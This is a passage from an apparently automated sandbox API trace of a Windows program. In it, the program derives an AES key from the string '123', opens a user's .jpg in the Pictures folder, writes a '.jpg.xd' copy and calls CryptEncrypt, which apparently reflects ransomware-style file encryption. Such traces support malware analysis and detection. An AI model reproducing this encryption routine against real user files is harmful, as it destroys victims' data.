hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.317] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.317] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.317] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.317] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.317] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.317] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0062.318] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.318] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.319] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.319] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.319] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.319] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.319] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.319] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.320] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.320] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.320] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.320] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.320] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.320] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.320] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.321] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.321] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.321] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.321] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621390, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0062.322] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0062.322] CryptCreateHash (in: hProv=0x17a9df0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0062.322] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.322] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629410, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.323] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0062.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.323] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.323] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.323] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0062.323] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621780, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0062.324] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0062.324] CryptHashData (hHash=0x164c7b0, pbData=0x16294b0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0062.324] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.324] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.324] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.324] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.324] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.324] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.324] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.324] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0062.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621678, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0062.325] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0062.325] CryptDeriveKey (in: hProv=0x17a9df0, Algid=0x6610, hBaseData=0x164c7b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c670) returned 1 [0062.325] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.325] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.325] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.325] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.325] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.325] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.325] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0062.325] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.325] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0062.326] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0062.326] CryptDestroyHash (hHash=0x164c7b0) returned 1 [0062.326] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.326] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.326] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.326] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.326] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.327] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\vg8il.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0062.327] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.327] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0062.328] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.328] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.328] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.328] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7")) returned 0x10 [0062.328] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\m5vKxqSGgaoDjGIW7\\Vg8iL.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\m5vkxqsggaodjgiw7\\vg8il.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0062.329] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.329] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.329] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.329] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.331] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0062.331] ReadFile (in: hFile=0x2ac, lpBuffer=0x17d0b18, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesRead=0x130edb0*=0xc44c, lpOverlapped=0x0) returned 1 [0062.333] ReadFile (in: hFile=0x2ac, lpBuffer=0x17d0b18, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17d0b18*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0062.335] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.336] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.336] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0062.336] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.336] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.336] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0062.336] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.336] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0062.336] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.337] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.337] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.339] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0062.339] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0062.340] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0062.340] CryptGetKeyParam (in: hKey=0x164c670, dwParam=0x7, pbData=0x16294c0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294c0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0062.340] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.340] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0062.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.340] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.340] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.340] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.340] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.340] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.341] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.341] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.341] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.341] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.341] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.341] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.341] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.341] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.341] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.342] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0062.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621708, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0062.342] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0062.342] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xc44c, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xc450) returned 1 [0062.342] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.342] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.342] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.342] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.343] CharLowerBuffW (in: lpsz="byte[50257]", cchLength=0xb | out: lpsz="byte[50257]") returned 0xb [0062.343] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.347] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.347] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.347] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.347] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 